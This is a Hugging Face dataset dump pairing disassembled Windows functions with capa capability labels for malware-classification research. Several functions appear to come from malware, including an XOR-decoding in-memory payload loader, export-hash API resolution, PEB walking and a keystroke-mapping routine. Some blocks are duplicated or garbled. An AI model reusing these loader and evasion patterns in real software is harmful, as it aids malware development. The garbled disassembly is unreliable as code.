joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10044dd3
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10044df5
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10044df5
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10044df5
ret
cmp word [ebx + 4], 0x14c
jne 0x10044df5
test word [ebx + 0x16], 2
je 0x10044df5
test word [ebx + 0x16], 0x100
je 0x10044df5
cmp word [ebx + 0x18], 0x10b
jne 0x10044df5
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10044df5
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x10044e81
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10044e15
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1002bd60
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10044df5
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x10044e81
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10044df5
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10044df5
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10044df5
ret
cmp word [ebx + 4], 0x14c
jne 0x10044df5
test word [ebx + 0x16], 2
je 0x10044df5
test word [ebx + 0x16], 0x100
je 0x10044df5
cmp word [ebx + 0x18], 0x10b
jne 0x10044df5
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10044df5
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x10044e81
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10044e15
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1002bd60
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10044df5
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x10044f38
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x10044f91
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x10044f38
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x10044f47
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1044abea
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x10044f98
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1002be0e
cmp eax, dword [ebp + 0xc]
pop eax
je 0x10045037
add edi, 4
add eax, 2
dec ecx
jne 0x10044f7d
call 0x10044fe4
loope 0x10044fda
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x10045034
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x10045045
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x10044ff8
cmp eax, ecx
ja 0x10044ff8
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x10045082
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x10045078
lea edi, [ebp - 0x100]
push pe_nt_image_headers32
push edi
push esi
call fcn.1002c2ed
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x10044f47
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x10044f91
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x10044f38
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x10044f47
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1044abea
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x10044f98
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1002be0e
cmp eax, dword [ebp + 0xc]
pop eax
je 0x10045037
add edi, 4
add eax, 2
dec ecx
jne 0x10044f7d
call 0x10044fe4
loope 0x10044fda
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x10045034
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x10045045
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x10044ff8
cmp eax, ecx
ja 0x10044ff8
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x10045082
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x10045078
lea edi, [ebp - 0x100]
push pe_nt_image_headers32
push edi
push esi
call fcn.1002c2ed
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x403a8a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4093c8
cmp edx, dword [eax]
je 0x403aac
add eax, 8
inc ecx
cmp eax, 0x409458
jl 0x403a9d
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4093c8]
jne 0x403bda
mov eax, dword [0x409c68]
cmp eax, 1
je 0x403bb4
test eax, eax
jne 0x403add
cmp dword [0x407214], 1
je 0x403bb4
cmp edx, 0xfc
je 0x403bda
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x403b14
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00404700
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004047f0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x403b57
lea eax, [ebp - 0x1a4]
push eax
call fcn.004047f0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x406488
push edi
call fcn.00404d70
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00404700
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00404710
lea eax, [ebp - 0xa0]
push 0x406468
push eax
call fcn.00404710
push dword [esi + 0x4093cc]
lea eax, [ebp - 0xa0]
push eax
call fcn.00404710
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00404ce2
add esp, 0x2c
pop edi
jmp 0x403bda
lea eax, [ebp + 8]
lea esi, [esi + 0x4093cc]
push 0
push eax
push dword [esi]
call fcn.004047f0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x401ec0
Capabilities:
Set registry value

Disassembly:
mov eax, dword [esp + 4]
push ebx
push ebp
xor ebp, ebp
push esi
cmp eax, ebp
push edi
je 0x401f68
mov ebx, dword [esp + 0x18]
or ecx, 0xffffffff
mov edi, ebx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x401f68
mov edi, dword [esp + 0x1c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x401f68
mov esi, dword [esp + 0x20]
or ecx, 0xffffffff
mov edi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x401f68
push esi
mov dword [esp + 0x1c], ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
lea eax, [esp + 0x20]
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push eax
push ecx
push ebp
push 2
push ebp
push ebp
push ebp
push ebx
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x401f52
mov ecx, dword [esp + 0x18]
inc edi
push edi
push esi
push 1
push eax
mov eax, dword [esp + 0x2c]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x401f52
mov ebp, 1
mov eax, dword [esp + 0x18]
test eax, eax
je 0x401f61
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
ret
push 0x80070057
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
Function at 0x406234
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x406243
pop dword [ebp - 4]
mov eax, 0x406243
sub dword [ebp - 4], eax
mov dword [ebp - 0x14], 0x20346665
add dword [ebp - 0x14], 0x2e1ddee6
mov dword [ebp - 0x10], 0xc8b131c7
sub dword [ebp - 0x10], 0x967de582
mov dword [ebp - 0xc], 0x8af31162
sub dword [ebp - 0xc], 0x3ea6cd34
mov dword [ebp - 8], 0x5b42ecf1
add dword [ebp - 8], 0xa4bd130f
lea eax, [ebp - 0x14]
push eax
mov eax, 0x2ed98e8
add eax, 0xfd52e81c
add eax, dword [ebp - 4]
call dword [eax]
mov dword [ebp - 0x14], 0x163c8b06
add dword [ebp - 0x14], 0x5e35de50
mov dword [ebp - 0x10], 0x20437b75
add dword [ebp - 0x10], 0x2128e600
mov dword [ebp - 0xc], 0x1014d6af
sub dword [ebp - 0xc], 0xaca56a43
mov dword [ebp - 8], 0xd46ab749
add dword [ebp - 8], 0x2b9548b7
lea ebx, [ebp - 0x14]
push ebx
push eax
mov eax, 0x834c7ddb
add eax, 0x7cf40325
add eax, dword [ebp - 4]
call dword [eax]
push 0x40
push 0x1000
push 0x3822f
push 0
call eax
mov ecx, 0x113e9637
sub ecx, 0x113e49c3
xor edx, edx
add edx, eax
mov ebx, 0xd94c74db
add ebx, 0x26fa6f25
add ebx, dword [ebp - 4]
mov edi, 0x5ffa2198
sub edi, 0x94ec760d
mov esi, dword [ebx]
xor esi, edi
mov dword [edx], esi
add edx, 4
add ebx, 0x3a9ce401
add ebx, 0xc5631c03
loop 0x406362
add eax, 0x124a3
xor ebx, ebx
add ebx, eax
add eax, 0x62abdf46
sub eax, 0x62abdf41
mov ecx, 0xeba51039
sub ecx, 0xeb651039
add ecx, dword [ebp - 4]
call ebx
leave
ret

Function at 0x40669d
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dcc], 0
push esi
jne 0x4066d4
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4066ae
mov dword [ecx*4 + 0x427dc8], eax
inc ecx
cmp ecx, 0x100
jl 0x4066a9
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406705
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427dc8]
xor eax, esi
inc ecx
dec edx
jne 0x4066e7
pop edi
not eax
pop esi
ret 0xc
Function at 0x40b8c8
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
push dword [ebp + 0xc]
call fcn.00401e20
mov dword [ebp - 8], eax
push dword [ebp + 0xc]
call fcn.00401cb0
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esp
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp - 0xc]
push dword [ebp - 8]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x40b929
push 0x33
push 0x40a13ea
push 6
call fcn.004517d0
add esp, 0xc
mov eax, dword [ebp - 4]
jmp 0x40b931
mov esp, ebp
pop ebp
ret 8

Function at 0x40b938
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], esp
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x40b97f
push 0
push 0x40a13e6
push 6
call fcn.004517d0
add esp, 0xc
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
jmp 0x40b98a
mov esp, ebp
pop ebp
ret 4

Function at 0x40c484
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
push 0
push dword [ebp - 0xc]
push dword [ebp + 0xc]
call fcn.00401cd4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40c4c6
push ebx
call fcn.004517d6
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
lea eax, [ebp - 4]
push eax
call fcn.00401e20
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esp
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp + 0xc]
push dword [ebp - 0xc]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x40c518
push 0x70
push 0x40a13eb
push 6
call fcn.004517d0
add esp, 0xc
push 0x80000301
push 0
push dword [ebp - 8]
push 0x80000005
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x40c535
mov eax, 0x48b2f0
push eax
push 2
mov ebx, 0x1a0
call fcn.00452f70
add esp, 0x1c
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40c55f
push ebx
call fcn.004517d6
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
test eax, eax
je 0x40c57d
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.004517ca
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x40c582
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40c593
push ebx
call fcn.004517d6
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 8
Function at 0x40c59c
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
push dword [ebp + 0xc]
call fcn.0040c628
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40c5d7
mov eax, 0
jmp 0x40c61f
mov dword [ebp - 8], esp
mov ebx, dword [ebp + 0xc]
push dword [ebx]
mov ebx, dword [ebp + 8]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
nop
nop
cmp dword [ebp - 8], esp
je 0x40c60a
push 0xe1
push 0x409a74c
push 6
call fcn.004517d0
add esp, 0xc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40c617
mov eax, dword [ebp - 4]
jmp 0x40c61f
mov esp, ebp
pop ebp
ret 8

Function at 0x40ce70
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], esp
push 1
push 0x48b2ec
push 0x48b2ec
mov ebx, dword [ebp + 8]
push dword [ebx]
push str.open
push 0
xor eax, eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
nop
cmp dword [ebp - 4], esp
je 0x40cec0
push 0
push 0x40a0fe6
push 6
call fcn.004517d0
add esp, 0xc
mov esp, ebp
pop ebp
ret 4

Function at 0x40cff4
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], 0
push 0x80000301
push 0
push 0x32
push 1
mov ebx, 0x184
call fcn.00452810
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40d039
push ebx
call fcn.004517d6
add esp, 4
pop eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.00404560
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x40d079
push 0x73
push 0x40a115d
push 6
call fcn.004517d0
add esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40d0a7
mov eax, dword [ebp - 4]
test eax, eax
je 0x40d0a2
push eax
mov ebx, eax
call fcn.00403d64
inc eax
push eax
call 0xbaa1b0
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x40d0b1
mov eax, 0x48b2ec
jmp 0x40d0b1
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40d0c2
push ebx
call 0xbaa290
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret
Function at 0x41572c
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov dword [ebp - 8], esp
push 2
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
nop
nop
cmp dword [ebp - 8], esp
je 0x41576d
push 0x19
push 0x40a1012
push 6
call fcn.004517d0
add esp, 0xc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x41
jl 0x41578b
cmp dword [ebp - 4], 0x5a
jg 0x41578b
mov eax, 1
jmp 0x415790
mov eax, 0
test eax, eax
je 0x41579c
add dword [ebp - 4], 0x20
mov eax, dword [ebp - 4]
jmp 0x4157a4
mov esp, ebp
pop ebp
ret 4

Function at 0x415c7c
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x40
call 0xbaa1b0
add esp, 4
mov dword [ebp - 4], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 0x10
rep stosd dword es:[edi], eax
mov ebx, dword [ebp - 4]
mov dword [ebp - 8], ebx
mov ebx, dword [ebp - 8]
mov dword [ebx], 0x40
mov dword [ebp - 8], esp
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
nop
nop
cmp dword [ebp - 8], esp
je 0x415cdd
push 0x2c
push 0x40a1c3a
push 6
call fcn.004517d0
add esp, 0xc
mov eax, dword [ebp - 4]
push eax
push 0x40
call 0xbaa1b0
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x415cf6
push eax
mov ebx, dword [ebp - 4]
push ebx
call 0xbaa290
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret
Function at 0x419178
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [0x58e920], 0
jne 0x4191ac
call fcn.004193a0
test eax, eax
je 0x4191a0
jmp 0x4191a0
push 1
push 0
call fcn.00419878
call fcn.00426b8c
mov dword [0x58e924], eax
mov dword [ebp - 4], esp
mov eax, dword [0x58e8ac]
push eax
push 0x24
call 0xbaa1b0
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], eax
mov eax, dword [ebx]
add ebx, 4
mov word [edi], ax
add edi, 2
mov eax, dword [ebx]
add ebx, 4
mov word [edi], ax
add edi, 2
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov word [edi], ax
add edi, 2
mov eax, dword [ebx]
add ebx, 4
mov word [edi], ax
add edi, 2
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
nop
nop
cmp dword [ebp - 4], esp
je 0x41926e
push 0x354
push 0x40a1f1f
push 6
call fcn.004517d0
add esp, 0xc
push eax
mov ebx, dword [ebp - 8]
push ebx
mov edi, dword [ebp - 0xc]
mov ax, word [ebx]
add ebx, 2
mov dword [edi], eax
add edi, 4
mov ax, word [ebx]
add ebx, 2
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov ax, word [ebx]
add ebx, 2
mov dword [edi], eax
add edi, 4
mov ax, word [ebx]
add ebx, 2
mov dword [edi], eax
add edi, 4
call 0xbaa290
add esp, 4
pop eax
call fcn.00426be0
mov dword [0x58e928], eax
call fcn.00426cbc
mov dword [0x58e8ec], eax
call fcn.00426d14
mov dword [0x58e92c], eax
call fcn.00426d38
mov dword [0x58e930], eax
call fcn.00426d5c
mov dword [0x58e934], eax
call fcn.00426d80
mov dword [0x58e938], eax
call fcn.00426da4
mov dword [0x58e93c], eax
call fcn.004024f8
mov dword [0x58e8c8], eax
call fcn.00426dc8
mov dword [0x58e940], eax
call fcn.00426e04
push 1
push 1
push 1
push 0xa
call fcn.00426f8c
mov dword [0x58e8b8], eax
push 1
push 0x2710
push 1
push 1
push 1
push 0x10
push 1
push 0x40
push 1
push 0x200
push 0x58e8e4
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 8]
mov esp, ebp
pop ebp
ret
Function at 0x41972a
Capabilities:
Access peb ldr_data
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov esi, dword [ebp + 8]
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0xc]
lea ecx, [eax + 0x14]
mov eax, dword [eax + 0x14]
cmp eax, ecx
je 0x419860
mov edx, eax
mov eax, dword [eax]
test eax, eax
je 0x41974d
cmp dword [edx + 0x10], esi
jne 0x419745
xor eax, eax
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 0x18], eax
xor eax, eax
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov eax, dword [edx + 0x20]
mov dword [esp], eax
call dword [ebp + 0x10]
sub esp, 0x1c
mov ebx, eax
cmp eax, 0xffffffff
je 0x419860
mov ecx, dword [esi + 0x3c]
mov eax, dword [ebp + 0xc]
add ecx, esi
sub eax, esi
lea edx, [ecx + 0xf8]
movzx ecx, word [ecx + 6]
mov dword [ebp - 0x24], eax
imul ecx, ecx, 0x28
add ecx, edx
cmp edx, ecx
je 0x419859
mov esi, dword [edx + 0xc]
cmp eax, esi
jb 0x4197da
mov edi, dword [edx + 0x10]
add edi, esi
cmp edi, eax
jb 0x4197da
add eax, dword [edx + 0x14]
sub eax, esi
jne 0x4197df
jmp 0x419859
add edx, 0x28
jmp 0x4197b9
xor edi, edi
mov dword [esp + 4], eax
mov dword [esp + 0xc], edi
mov dword [esp + 8], edi
mov dword [esp], ebx
call dword [ebp + 0x14]
sub esp, 0x10
inc eax
je 0x419859
xor esi, esi
lea eax, [ebp - 0x24]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x20]
mov dword [esp + 0x10], esi
mov dword [esp + 8], 8
mov dword [esp + 4], eax
mov dword [esp], ebx
call dword [ebp + 0x18]
sub esp, 0x14
test eax, eax
je 0x419859
cmp dword [ebp - 0x24], 8
jne 0x419859
cmp byte [ebp - 0x20], 0xb8
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
jne 0x419859
shrd eax, edx, 8
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
add eax, 5
mov dword [ebp - 0x1c], eax
mov dword [esp], ebx
call dword [ebp + 0x1c]
push ebx
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
jmp 0x419864
mov dword [esp], ebx
call dword [ebp + 0x1c]
push eax
xor eax, eax
xor edx, edx
leave
ret 0x18

Function at 0x426b8c
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push esi
call 0x426b95
pop eax
mov esi, dword fs:[0x30]
mov esi, dword [esi + 0xc]
mov esi, dword [esi + 0x1c]
push esi
mov ebx, dword [esi + 8]
cmp eax, ebx
jb 0x426bb8
mov ecx, dword [esi + 0x10]
add ecx, ebx
cmp eax, ecx
ja 0x426bb8
mov eax, ebx
jmp 0x426bcd
mov esi, dword [esi]
mov ebx, dword [esi]
cmp ebx, dword [esp]
jne 0x426ba4
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
pop esi
pop esi
leave
ret